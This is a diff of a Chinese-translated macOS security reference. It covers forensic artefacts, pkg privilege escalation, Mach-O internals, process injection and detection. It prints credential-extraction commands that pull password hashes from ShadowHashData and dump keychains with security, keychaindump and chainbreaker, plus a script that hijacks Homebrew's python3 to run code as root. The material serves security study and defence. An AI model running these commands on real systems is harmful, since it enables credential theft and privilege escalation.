- **`/var/log/system.log`**:OSX 系统的主日志。com.apple.syslogd.plist 负责执行 syslogging(您可以通过在 `launchctl list` 中查找 "com.apple.syslogd" 来检查它是否被禁用)。
|
||||
- **`/private/var/log/asl/*.asl`**:这些是 Apple 系统日志,可能包含有趣的信息。
|
||||
- **`$HOME/Library/Preferences/com.apple.recentitems.plist`**:通过 "Finder" 存储最近访问的文件和应用程序。
|
||||
|
||||
@ -21,13 +21,13 @@ macOS 中的 Bundles 作为各种资源的容器,包括应用程序、库和
|
||||
|
||||
- **CFBundleExecutable**: 指定位于 `Contents/MacOS` 目录中的主可执行文件的名称。
|
||||
- **CFBundleIdentifier**: 提供应用程序的全局标识符,macOS 在应用程序管理中广泛使用。
|
||||
- **LSMinimumSystemVersion**: 指示运行应用程序所需的最低 macOS 版本。
|
||||
- **LSMinimumSystemVersion**: 指示运行该应用程序所需的最低 macOS 版本。
|
||||
|
||||
### 探索 Bundles
|
||||
|
||||
要探索 bundle 的内容,例如 `Safari.app`,可以使用以下命令: `bash ls -lR /Applications/Safari.app/Contents`
|
||||
|
||||
此探索揭示了如 `_CodeSignature`、`MacOS`、`Resources` 等目录,以及 `Info.plist` 等文件,每个文件都在保护应用程序、定义其用户界面和操作参数方面发挥独特作用。
|
||||
此探索揭示了如 `_CodeSignature`、`MacOS`、`Resources` 等目录,以及如 `Info.plist` 的文件,每个文件都在保护应用程序、定义其用户界面和操作参数方面发挥独特作用。
|
||||
|
||||
#### 其他 Bundle 目录
|
||||
|
||||
|
||||
@ -51,17 +51,17 @@ DMG 文件的层级结构可能会根据内容而有所不同。然而,对于
|
||||
- 应用程序 (.app):这就是实际的应用程序。在 macOS 中,应用程序通常是一个包含许多单独文件和文件夹的包,这些文件和文件夹构成了该应用程序。
|
||||
- 应用程序链接:这是指向 macOS 中应用程序文件夹的快捷方式。这样做的目的是方便您安装应用程序。您可以将 .app 文件拖到此快捷方式上以安装该应用程序。
|
||||
|
||||
## 通过 pkg 滥用提升权限
|
||||
## 通过 pkg 滥用进行特权提升
|
||||
|
||||
### 从公共目录执行
|
||||
|
||||
如果预安装或后安装脚本例如从 **`/var/tmp/Installerutil`** 执行,攻击者可以控制该脚本,从而在每次执行时提升权限。或者另一个类似的例子:
|
||||
如果预安装或后安装脚本例如从 **`/var/tmp/Installerutil`** 执行,攻击者可以控制该脚本,从而在每次执行时提升特权。或者另一个类似的例子:
|
||||
|
||||
<figure><img src="../../../images/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption><p><a href="https://www.youtube.com/watch?v=kCXhIYtODBg">https://www.youtube.com/watch?v=kCXhIYtODBg</a></p></figcaption></figure>
|
||||
|
||||
### AuthorizationExecuteWithPrivileges
|
||||
|
||||
这是一个 [公共函数](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg),多个安装程序和更新程序将调用它以 **以 root 身份执行某些操作**。此函数接受要 **执行** 的 **文件** 的 **路径** 作为参数,然而,如果攻击者能够 **修改** 此文件,他将能够 **滥用** 其以 root 身份执行以 **提升权限**。
|
||||
这是一个 [公共函数](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg),多个安装程序和更新程序将调用它以 **以 root 身份执行某些操作**。此函数接受要 **执行** 的 **文件** 的 **路径** 作为参数,然而,如果攻击者能够 **修改** 此文件,他将能够 **滥用** 其以 root 身份执行以 **提升特权**。
|
||||
```bash
|
||||
# Breakpoint in the function to check wich file is loaded
|
||||
(lldb) b AuthorizationExecuteWithPrivileges
|
||||
@ -83,7 +83,7 @@ For more info check this talk: [https://www.youtube.com/watch?v=lTOItyjTTkw](htt
|
||||
|
||||
### 分发 xml 中的 JS
|
||||
|
||||
可以在包的 **分发 xml** 文件中添加 **`<script>`** 标签,这段代码将被执行,并且可以使用 **`system.run`** **执行命令**:
|
||||
可以在包的 **分发 xml** 文件中添加 **`<script>`** 标签,这段代码将被执行,并且可以 **使用 `system.run` 执行命令**:
|
||||
|
||||
<figure><img src="../../../images/image (1043).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@
|
||||
|
||||
### 休眠映像
|
||||
|
||||
位于 `/private/var/vm/sleepimage` 的文件在 **休眠模式** 下至关重要。**当 OS X 进入休眠时,内存中的数据会存储在此文件中**。唤醒计算机时,系统会从此文件中检索内存数据,使用户能够继续之前的工作。
|
||||
位于 `/private/var/vm/sleepimage` 的文件在 **休眠模式** 下至关重要。**当 OS X 进入休眠时,内存中的数据会存储在此文件中**。唤醒计算机时,系统会从该文件中检索内存数据,使用户能够继续之前的工作。
|
||||
|
||||
值得注意的是,在现代 MacOS 系统上,此文件通常出于安全原因被加密,导致恢复变得困难。
|
||||
|
||||
|
||||
@ -17,7 +17,7 @@ for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"
|
||||
```bash
|
||||
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
|
||||
```
|
||||
另一种获取用户的 `ShadowHashData` 的方法是使用 `dscl`: `` sudo dscl . -read /Users/`whoami` ShadowHashData ``
|
||||
另一种获取用户 `ShadowHashData` 的方法是使用 `dscl`: `` sudo dscl . -read /Users/`whoami` ShadowHashData ``
|
||||
|
||||
### /etc/master.passwd
|
||||
|
||||
@ -25,7 +25,7 @@ sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex
|
||||
|
||||
### Keychain Dump
|
||||
|
||||
请注意,当使用 security 二进制文件**转储解密的密码**时,会有几个提示要求用户允许此操作。
|
||||
请注意,当使用 security 二进制文件**解密并转储密码**时,会有几个提示要求用户允许此操作。
|
||||
```bash
|
||||
#security
|
||||
security dump-trust-settings [-s] [-d] #List certificates
|
||||
@ -47,7 +47,7 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
|
||||
```bash
|
||||
sudo vmmap <securityd PID> | grep MALLOC_TINY
|
||||
```
|
||||
在识别潜在的主密钥后,**keychaindump** 在堆中搜索特定模式 (`0x0000000000000018`),这表明是主密钥的候选者。进一步的步骤,包括去混淆,都是利用此密钥所必需的,具体内容在 **keychaindump** 的源代码中有说明。专注于该领域的分析师应注意,解密钥匙串的关键数据存储在 **securityd** 进程的内存中。运行 **keychaindump** 的示例命令是:
|
||||
在识别潜在的主密钥后,**keychaindump** 在堆中搜索特定模式 (`0x0000000000000018`),这表明是主密钥的候选者。进一步的步骤,包括去混淆,都是利用此密钥所必需的,正如 **keychaindump** 的源代码中所述。专注于该领域的分析师应注意,解密钥匙串的关键数据存储在 **securityd** 进程的内存中。运行 **keychaindump** 的示例命令是:
|
||||
```bash
|
||||
sudo ./keychaindump
|
||||
```
|
||||
@ -101,7 +101,7 @@ python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
|
||||
#Try to extract the passwords using the extracted keychain passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **使用用户密码转储钥匙串密钥(包括密码)**
|
||||
#### **使用用户密码转储钥匙串密钥(带密码)**
|
||||
|
||||
如果您知道用户的密码,您可以使用它来**转储和解密属于用户的钥匙串**。
|
||||
```bash
|
||||
@ -191,9 +191,9 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s
|
||||
|
||||
### Darwin 通知
|
||||
|
||||
主要的通知守护进程是 **`/usr/sbin/notifyd`**。为了接收通知,客户端必须通过 `com.apple.system.notification_center` Mach 端口进行注册(使用 `sudo lsmp -p <pid notifyd>` 检查它们)。该守护进程可以通过文件 `/etc/notify.conf` 进行配置。
|
||||
主要的通知守护进程是 **`/usr/sbin/notifyd`**。为了接收通知,客户端必须通过 `com.apple.system.notification_center` Mach 端口注册(使用 `sudo lsmp -p <pid notifyd>` 检查它们)。该守护进程可以通过文件 `/etc/notify.conf` 进行配置。
|
||||
|
||||
用于通知的名称是唯一的反向 DNS 表示法,当向其中一个名称发送通知时,已指明可以处理该通知的客户端将接收到它。
|
||||
用于通知的名称是唯一的反向 DNS 表示法,当发送通知到其中一个名称时,已指明可以处理该通知的客户端将接收到它。
|
||||
|
||||
可以通过向 notifyd 进程发送 SIGUSR2 信号并读取生成的文件 `/var/run/notifyd_<pid>.status` 来转储当前状态(并查看所有名称):
|
||||
```bash
|
||||
@ -222,7 +222,7 @@ common: com.apple.security.octagon.joined-with-bottle
|
||||
|
||||
首选项位于`/Library/Preferences/com.apple.apsd.plist`。
|
||||
|
||||
在macOS中,消息的本地数据库位于`/Library/Application\ Support/ApplePushService/aps.db`,在iOS中位于`/var/mobile/Library/ApplePushService`。它有3个表:`incoming_messages`、`outgoing_messages`和`channel`。
|
||||
在macOS中,消息的本地数据库位于`/Library/Application\ Support/ApplePushService/aps.db`,在iOS中位于`/var/mobile/Library/ApplePushService`。它有3个表:`incoming_messages`,`outgoing_messages`和`channel`。
|
||||
```bash
|
||||
sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
|
||||
```
|
||||
@ -234,7 +234,7 @@ sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
|
||||
|
||||
这些是用户应该在屏幕上看到的通知:
|
||||
|
||||
- **`CFUserNotification`**:这些 API 提供了一种在屏幕上显示带有消息的弹出窗口的方法。
|
||||
- **`CFUserNotification`**:这个 API 提供了一种在屏幕上显示带有消息的弹出窗口的方法。
|
||||
- **公告板**:这在 iOS 上显示一个会消失的横幅,并将存储在通知中心。
|
||||
- **`NSUserNotificationCenter`**:这是 MacOS 中的 iOS 公告板。通知的数据库位于 `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db`
|
||||
|
||||
|
||||
@ -31,11 +31,11 @@ cpu_type_t cputype; /* cpu 说明符 (int) */
|
||||
cpu_subtype_t cpusubtype; /* 机器说明符 (int) */
|
||||
uint32_t offset; /* 文件偏移到此目标文件 */
|
||||
uint32_t size; /* 此目标文件的大小 */
|
||||
uint32_t align; /* 作为 2 的幂的对齐 */
|
||||
uint32_t align; /* 以 2 的幂为单位的对齐 */
|
||||
};
|
||||
</code></pre>
|
||||
|
||||
头部包含 **magic** 字节,后面是文件 **包含** 的 **架构** 数量 (`nfat_arch`),每个架构将有一个 `fat_arch` 结构。
|
||||
头部包含 **magic** 字节,后面是文件 **包含** 的 **archs** 的 **数量** (`nfat_arch`),每个架构将有一个 `fat_arch` 结构。
|
||||
|
||||
使用以下命令检查:
|
||||
|
||||
@ -68,7 +68,7 @@ capabilities PTR_AUTH_VERSION USERSPACE 0
|
||||
|
||||
<figure><img src="../../../images/image (1094).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
正如你所想,通常为 2 个架构编译的 universal binary **会使文件大小翻倍**,而不是仅为 1 个架构编译的文件。
|
||||
正如你所想,通常为 2 个架构编译的 universal binary **会使文件大小翻倍**,而为 1 个架构编译的文件则不会。
|
||||
|
||||
## **Mach-O Header**
|
||||
|
||||
@ -110,7 +110,7 @@ uint32_t reserved; /* reserved */
|
||||
- `MH_PRELOAD`: 预加载的可执行文件(在 XNU 中不再支持)
|
||||
- `MH_DYLIB`: 动态库
|
||||
- `MH_DYLINKER`: 动态链接器
|
||||
- `MH_BUNDLE`: “插件文件”。使用 gcc 中的 -bundle 生成,并由 `NSBundle` 或 `dlopen` 显式加载。
|
||||
- `MH_BUNDLE`: “插件文件”。使用 gcc 的 -bundle 生成,并由 `NSBundle` 或 `dlopen` 显式加载。
|
||||
- `MH_DYSM`: 伴随的 `.dSym` 文件(用于调试的符号文件)。
|
||||
- `MH_KEXT_BUNDLE`: 内核扩展。
|
||||
```bash
|
||||
@ -145,7 +145,7 @@ MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DY
|
||||
|
||||
## **Mach-O 加载命令**
|
||||
|
||||
**文件在内存中的布局**在此处指定,详细说明了 **符号表的位置**、执行开始时主线程的上下文以及所需的 **共享库**。向动态加载器 **(dyld)** 提供了有关二进制文件加载到内存中的过程的指令。
|
||||
**文件在内存中的布局**在这里指定,详细说明了 **符号表的位置**、执行开始时主线程的上下文以及所需的 **共享库**。向动态加载器 **(dyld)** 提供了有关二进制文件加载到内存中的过程的指令。
|
||||
|
||||
使用 **load_command** 结构,该结构在提到的 **`loader.h`** 中定义:
|
||||
```objectivec
|
||||
@ -159,11 +159,11 @@ uint32_t cmdsize; /* total size of command in bytes */
|
||||
### **LC_SEGMENT/LC_SEGMENT_64**
|
||||
|
||||
> [!TIP]
|
||||
> 基本上,这种类型的加载命令定义了 **如何加载 \_\_TEXT**(可执行代码) **和 \_\_DATA**(进程数据) **段**,根据二进制文件执行时 **数据部分中指示的偏移量**。
|
||||
> 基本上,这种类型的加载命令定义了 **如何加载 \_\_TEXT**(可执行代码)**和 \_\_DATA**(进程数据)**段**,根据二进制文件执行时在数据部分中指示的 **偏移量**。
|
||||
|
||||
这些命令 **定义了段**,在执行进程时被 **映射** 到 **虚拟内存空间** 中。
|
||||
|
||||
有 **不同类型** 的段,例如 **\_\_TEXT** 段,保存程序的可执行代码,以及 **\_\_DATA** 段,包含进程使用的数据。这些 **段位于 Mach-O 文件的数据部分** 中。
|
||||
有 **不同类型** 的段,例如 **\_\_TEXT** 段,它包含程序的可执行代码,以及 **\_\_DATA** 段,它包含进程使用的数据。这些 **段位于 Mach-O 文件的数据部分** 中。
|
||||
|
||||
**每个段** 可以进一步 **划分** 为多个 **节**。**加载命令结构** 包含关于 **这些节** 在各自段中的 **信息**。
|
||||
|
||||
@ -219,16 +219,16 @@ otool -lv /bin/ls
|
||||
```
|
||||
常见的由此命令加载的段:
|
||||
|
||||
- **`__PAGEZERO`:** 它指示内核**映射**地址零,以便**无法读取、写入或执行**。结构中的maxprot和minprot变量设置为零,以指示此页面上**没有读写执行权限**。
|
||||
- 此分配对于**缓解NULL指针解引用漏洞**非常重要。这是因为XNU强制实施一个硬页面零,确保内存的第一页(仅第一页)不可访问(在i386中除外)。一个二进制文件可以通过制作一个小的\_\_PAGEZERO(使用`-pagezero_size`)来满足这些要求,以覆盖前4k,并使其余的32位内存在用户模式和内核模式下均可访问。
|
||||
- **`__TEXT`**:包含**可执行**代码,具有**读取**和**执行**权限(不可写)。此段的常见部分:
|
||||
- **`__PAGEZERO`:** 它指示内核**映射** **地址零**,以便**无法读取、写入或执行**。结构中的maxprot和minprot变量设置为零,以指示此页面上**没有读写执行权限**。
|
||||
- 此分配对于**缓解NULL指针解引用漏洞**非常重要。这是因为XNU强制实施一个硬页面零,确保内存的第一页(仅第一页)不可访问(在i386中除外)。一个二进制文件可以通过制作一个小的\_\_PAGEZERO(使用`-pagezero_size`)来满足这些要求,以覆盖前4k,并使其余的32位内存在用户模式和内核模式下可访问。
|
||||
- **`__TEXT`**:包含**可执行** **代码**,具有**读取**和**执行**权限(不可写)。此段的常见部分:
|
||||
- `__text`:编译的二进制代码
|
||||
- `__const`:常量数据(只读)
|
||||
- `__[c/u/os_log]string`:C、Unicode或os日志字符串常量
|
||||
- `__ [c/u/os_log]string`:C、Unicode或os日志字符串常量
|
||||
- `__stubs`和`__stubs_helper`:在动态库加载过程中涉及
|
||||
- `__unwind_info`:堆栈展开数据。
|
||||
- 请注意,所有这些内容都是签名的,但也被标记为可执行(为不一定需要此权限的部分(如专用字符串部分)创建更多的利用选项)。
|
||||
- **`__DATA`**:包含**可读**和**可写**数据(不可执行)。
|
||||
- **`__DATA`**:包含**可读**和**可写**的数据(不可执行)。
|
||||
- `__got:` 全局偏移表
|
||||
- `__nl_symbol_ptr`:非惰性(加载时绑定)符号指针
|
||||
- `__la_symbol_ptr`:惰性(使用时绑定)符号指针
|
||||
@ -260,7 +260,7 @@ otool -lv /bin/ls
|
||||
|
||||
**`LC_MAIN`**包含**entryoff属性**中的入口点。在加载时,**dyld**简单地**将**此值添加到(内存中的)**二进制文件基址**,然后**跳转**到此指令以开始执行二进制代码。
|
||||
|
||||
**`LC_UNIXTHREAD`**包含启动主线程时寄存器必须具有的值。这已经被弃用,但**`dyld`**仍然使用它。可以通过以下方式查看寄存器设置的值:
|
||||
**`LC_UNIXTHREAD`**包含启动主线程时寄存器必须具有的值。这已经被弃用,但**`dyld`**仍在使用它。可以通过以下方式查看寄存器设置的值:
|
||||
```bash
|
||||
otool -l /usr/lib/dyld
|
||||
[...]
|
||||
@ -286,16 +286,16 @@ cpsr 0x00000000
|
||||
```
|
||||
### **`LC_CODE_SIGNATURE`**
|
||||
|
||||
包含关于 **Mach-O 文件的代码签名** 的信息。它仅包含一个 **偏移量**,指向 **签名 blob**。这通常位于文件的最末尾。\
|
||||
然而,您可以在 [**这篇博客文章**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) 和这个 [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4) 中找到一些关于此部分的信息。
|
||||
包含关于 **Macho-O 文件的代码签名** 的信息。它仅包含一个 **偏移量**,指向 **签名 blob**。这通常位于文件的最末尾。\
|
||||
然而,您可以在 [**这篇博客文章**](https://davedelong.com/blog/2018/01/10/reading-your-own_entitlements/) 和这个 [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4) 中找到一些关于此部分的信息。
|
||||
|
||||
### **`LC_ENCRYPTION_INFO[_64]`**
|
||||
|
||||
支持二进制加密。然而,当然,如果攻击者设法破坏了该进程,他将能够以未加密的方式转储内存。
|
||||
支持二进制加密。然而,当然,如果攻击者设法破坏了进程,他将能够以未加密的方式转储内存。
|
||||
|
||||
### **`LC_LOAD_DYLINKER`**
|
||||
|
||||
包含 **指向动态链接器可执行文件的路径**,该文件将共享库映射到进程地址空间。**值始终设置为 `/usr/lib/dyld`**。重要的是要注意,在 macOS 中,dylib 映射发生在 **用户模式**,而不是内核模式。
|
||||
包含 **动态链接器可执行文件的路径**,该文件将共享库映射到进程地址空间。**值始终设置为 `/usr/lib/dyld`**。重要的是要注意,在 macOS 中,dylib 映射发生在 **用户模式**,而不是内核模式。
|
||||
|
||||
### **`LC_IDENT`**
|
||||
|
||||
@ -350,7 +350,7 @@ otool -L /bin/ls
|
||||
|
||||
## **Mach-O 数据**
|
||||
|
||||
文件的核心是数据区域,由加载命令区域定义的几个段组成。**每个段中可以容纳多种数据部分**,每个部分 **包含特定类型的代码或数据**。
|
||||
文件的核心是数据区域,由加载命令区域中定义的多个段组成。**每个段中可以包含多种数据部分**,每个部分 **保存特定类型的代码或数据**。
|
||||
|
||||
> [!TIP]
|
||||
> 数据基本上是包含所有由加载命令 **LC_SEGMENTS_64** 加载的 **信息** 的部分。
|
||||
@ -361,7 +361,7 @@ otool -L /bin/ls
|
||||
|
||||
- **函数表:** 包含有关程序函数的信息。
|
||||
- **符号表**: 包含有关二进制文件使用的外部函数的信息
|
||||
- 还可能包含内部函数、变量名称等更多信息。
|
||||
- 还可能包含内部函数、变量名称等。
|
||||
|
||||
要检查它,您可以使用 [**Mach-O View**](https://sourceforge.net/projects/machoview/) 工具:
|
||||
|
||||
@ -382,9 +382,9 @@ size -m /bin/ls
|
||||
在 `__DATA` 段 (rw-):
|
||||
|
||||
- `__objc_classlist`: 所有 Objective-C 类的指针
|
||||
- `__objc_nlclslist`: 非懒惰 Objective-C 类的指针
|
||||
- `__objc_nlclslist`: 非懒加载 Objective-C 类的指针
|
||||
- `__objc_catlist`: 类别的指针
|
||||
- `__objc_nlcatlist`: 非懒惰类别的指针
|
||||
- `__objc_nlcatlist`: 非懒加载类别的指针
|
||||
- `__objc_protolist`: 协议列表
|
||||
- `__objc_const`: 常量数据
|
||||
- `__objc_imageinfo`, `__objc_selrefs`, `objc__protorefs`...
|
||||
|
||||
@ -70,7 +70,7 @@ char persona_name[MAXLOGNAME + 1];
|
||||
|
||||
#### 同步机制
|
||||
|
||||
为了管理对共享资源的访问并避免竞争条件,macOS 提供了几种同步原语。这些在多线程环境中对于确保数据完整性和系统稳定性至关重要:
|
||||
为了管理对共享资源的访问并避免竞争条件,macOS 提供了几种同步原语。这些在多线程环境中至关重要,以确保数据完整性和系统稳定性:
|
||||
|
||||
1. **互斥锁:**
|
||||
- **常规互斥锁 (签名: 0x4D555458):** 标准互斥锁,内存占用为 60 字节(互斥锁 56 字节,签名 4 字节)。
|
||||
@ -104,21 +104,21 @@ tlv_var = 10;
|
||||
|
||||
在 Mach-O 二进制文件中,与线程局部变量相关的数据被组织成特定的部分:
|
||||
|
||||
- **`__DATA.__thread_vars`**:此部分包含有关线程局部变量的元数据,如它们的类型和初始化状态。
|
||||
- **`__DATA.__thread_bss`**:此部分用于未显式初始化的线程局部变量。它是为零初始化数据保留的内存的一部分。
|
||||
- **`__DATA.__thread_vars`**: 此部分包含有关线程局部变量的元数据,如它们的类型和初始化状态。
|
||||
- **`__DATA.__thread_bss`**: 此部分用于未显式初始化的线程局部变量。它是为零初始化数据保留的内存的一部分。
|
||||
|
||||
Mach-O 还提供了一个特定的 API,称为 **`tlv_atexit`**,用于管理线程退出时的线程局部变量。此 API 允许您 **注册析构函数**——在线程终止时清理线程局部数据的特殊函数。
|
||||
|
||||
### 线程优先级
|
||||
|
||||
理解线程优先级涉及查看操作系统如何决定运行哪些线程以及何时运行。这一决定受到分配给每个线程的优先级级别的影响。在 macOS 和类 Unix 系统中,这通过 `nice`、`renice` 和服务质量 (QoS) 类等概念来处理。
|
||||
理解线程优先级涉及查看操作系统如何决定哪些线程运行以及何时运行。这个决定受到分配给每个线程的优先级级别的影响。在 macOS 和类 Unix 系统中,这通过 `nice`、`renice` 和服务质量 (QoS) 类等概念来处理。
|
||||
|
||||
#### Nice 和 Renice
|
||||
|
||||
1. **Nice:**
|
||||
1. **Nice:**
|
||||
- 进程的 `nice` 值是一个影响其优先级的数字。每个进程都有一个范围从 -20(最高优先级)到 19(最低优先级)的 nice 值。进程创建时的默认 nice 值通常为 0。
|
||||
- 较低的 nice 值(接近 -20)使进程更“自私”,相对于其他具有较高 nice 值的进程,给予其更多的 CPU 时间。
|
||||
2. **Renice:**
|
||||
2. **Renice:**
|
||||
- `renice` 是一个用于更改已运行进程的 nice 值的命令。这可以用于动态调整进程的优先级,基于新的 nice 值增加或减少其 CPU 时间分配。
|
||||
- 例如,如果一个进程暂时需要更多的 CPU 资源,您可能会使用 `renice` 降低其 nice 值。
|
||||
|
||||
@ -126,16 +126,16 @@ Mach-O 还提供了一个特定的 API,称为 **`tlv_atexit`**,用于管理
|
||||
|
||||
QoS 类是处理线程优先级的更现代的方法,特别是在支持 **Grand Central Dispatch (GCD)** 的 macOS 等系统中。QoS 类允许开发人员根据任务的重要性或紧急性将工作 **分类** 为不同级别。macOS 根据这些 QoS 类自动管理线程优先级:
|
||||
|
||||
1. **用户交互:**
|
||||
1. **用户交互:**
|
||||
- 此类用于当前与用户交互或需要立即结果以提供良好用户体验的任务。这些任务被赋予最高优先级,以保持界面的响应性(例如,动画或事件处理)。
|
||||
2. **用户启动:**
|
||||
- 用户启动并期望立即结果的任务,例如打开文档或单击需要计算的按钮。这些任务优先级高,但低于用户交互。
|
||||
3. **实用程序:**
|
||||
- 这些任务是长时间运行的,通常显示进度指示器(例如,下载文件、导入数据)。它们的优先级低于用户启动的任务,并且不需要立即完成。
|
||||
4. **后台:**
|
||||
2. **用户发起:**
|
||||
- 用户发起并期望立即结果的任务,例如打开文档或单击需要计算的按钮。这些任务优先级高,但低于用户交互。
|
||||
3. **实用程序:**
|
||||
- 这些任务是长时间运行的,通常显示进度指示器(例如,下载文件、导入数据)。它们的优先级低于用户发起的任务,不需要立即完成。
|
||||
4. **后台:**
|
||||
- 此类用于在后台运行且对用户不可见的任务。这些可以是索引、同步或备份等任务。它们的优先级最低,对系统性能的影响最小。
|
||||
|
||||
使用 QoS 类,开发人员不需要管理确切的优先级数字,而是专注于任务的性质,系统会相应地优化 CPU 资源。
|
||||
使用 QoS 类,开发人员不需要管理确切的优先级数字,而是专注于任务的性质,系统会相应优化 CPU 资源。
|
||||
|
||||
此外,还有不同的 **线程调度策略**,用于指定调度器将考虑的一组调度参数。这可以通过 `thread_policy_[set/get]` 来完成。这在竞争条件攻击中可能会很有用。
|
||||
|
||||
@ -177,7 +177,7 @@ macos-electron-applications-injection.md
|
||||
|
||||
### Chromium 注入
|
||||
|
||||
可以使用标志 `--load-extension` 和 `--use-fake-ui-for-media-stream` 执行 **浏览器中的人攻击**,从而窃取击键、流量、cookie,向页面注入脚本...:
|
||||
可以使用标志 `--load-extension` 和 `--use-fake-ui-for-media-stream` 执行 **浏览器中的人攻击**,从而窃取击键、流量、cookie,在页面中注入脚本...:
|
||||
|
||||
{{#ref}}
|
||||
macos-chromium-injection.md
|
||||
@ -185,7 +185,7 @@ macos-chromium-injection.md
|
||||
|
||||
### 脏 NIB
|
||||
|
||||
NIB 文件 **定义用户界面 (UI) 元素** 及其在应用程序中的交互。然而,它们可以 **执行任意命令**,而且 **Gatekeeper 不会阻止** 已执行的应用程序在 **NIB 文件被修改** 的情况下继续执行。因此,它们可以用于使任意程序执行任意命令:
|
||||
NIB 文件 **定义用户界面 (UI) 元素** 及其在应用程序中的交互。然而,它们可以 **执行任意命令**,而且 **Gatekeeper 不会阻止** 已执行的应用程序在 **NIB 文件被修改** 后继续执行。因此,它们可以用于使任意程序执行任意命令:
|
||||
|
||||
{{#ref}}
|
||||
macos-dirty-nib.md
|
||||
@ -207,4 +207,67 @@ macos-java-apps-injection.md
|
||||
macos-.net-applications-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### Perl
|
||||
### Perl 注入
|
||||
|
||||
检查不同选项以使 Perl 脚本执行任意代码:
|
||||
|
||||
{{#ref}}
|
||||
macos-perl-applications-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### Ruby 注入
|
||||
|
||||
也可以滥用 Ruby 环境变量使任意脚本执行任意代码:
|
||||
|
||||
{{#ref}}
|
||||
macos-ruby-applications-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### Python 注入
|
||||
|
||||
如果环境变量 **`PYTHONINSPECT`** 被设置,Python 进程将在完成后进入 Python CLI。也可以使用 **`PYTHONSTARTUP`** 指定在交互会话开始时执行的 Python 脚本。\
|
||||
然而,请注意,当 **`PYTHONINSPECT`** 创建交互会话时,**`PYTHONSTARTUP`** 脚本不会被执行。
|
||||
|
||||
其他环境变量如 **`PYTHONPATH`** 和 **`PYTHONHOME`** 也可能对执行任意代码的 Python 命令有用。
|
||||
|
||||
请注意,使用 **`pyinstaller`** 编译的可执行文件即使在使用嵌入式 Python 运行时也不会使用这些环境变量。
|
||||
|
||||
> [!CAUTION]
|
||||
> 总的来说,我找不到通过滥用环境变量使 Python 执行任意代码的方法。\
|
||||
> 然而,大多数人使用 **Hombrew** 安装 Python,这将把 Python 安装在 **可写位置**,供默认管理员用户使用。您可以通过以下方式劫持它:
|
||||
>
|
||||
> ```bash
|
||||
> mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
||||
> cat > /opt/homebrew/bin/python3 <<EOF
|
||||
> #!/bin/bash
|
||||
> # 额外劫持代码
|
||||
> /opt/homebrew/bin/python3.old "$@"
|
||||
> EOF
|
||||
> chmod +x /opt/homebrew/bin/python3
|
||||
> ```
|
||||
>
|
||||
> 即使是 **root** 在运行 Python 时也会执行此代码。
|
||||
|
||||
## 检测
|
||||
|
||||
### Shield
|
||||
|
||||
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) 是一个开源应用程序,可以 **检测和阻止进程注入** 行为:
|
||||
|
||||
- 使用 **环境变量**: 它将监控以下任何环境变量的存在:**`DYLD_INSERT_LIBRARIES`**、**`CFNETWORK_LIBRARY_PATH`**、**`RAWCAMERA_BUNDLE_PATH`** 和 **`ELECTRON_RUN_AS_NODE`**
|
||||
- 使用 **`task_for_pid`** 调用: 查找一个进程何时想要获取 **另一个进程的任务端口**,这允许在该进程中注入代码。
|
||||
- **Electron 应用程序参数**: 有人可以使用 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 命令行参数以调试模式启动 Electron 应用程序,从而注入代码。
|
||||
- 使用 **符号链接** 或 **硬链接**: 通常最常见的滥用是 **放置一个具有我们用户权限的链接**,并 **指向一个更高权限** 的位置。对于硬链接和符号链接,检测非常简单。如果创建链接的进程与目标文件具有 **不同的权限级别**,我们会创建一个 **警报**。不幸的是,在符号链接的情况下,阻止是不可能的,因为我们在创建之前没有关于链接目标的信息。这是 Apple 的 EndpointSecuriy 框架的一个限制。
|
||||
|
||||
### 其他进程发出的调用
|
||||
|
||||
在 [**这篇博客文章**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) 中,您可以找到如何使用函数 **`task_name_for_pid`** 获取有关其他 **进程注入代码到一个进程** 的信息,然后获取有关该其他进程的信息。
|
||||
|
||||
请注意,要调用该函数,您需要与运行该进程的 **相同 uid** 或 **root**(并且它返回有关进程的信息,而不是注入代码的方法)。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://theevilbit.github.io/shield/](https://theevilbit.github.io/shield/)
|
||||
- [https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
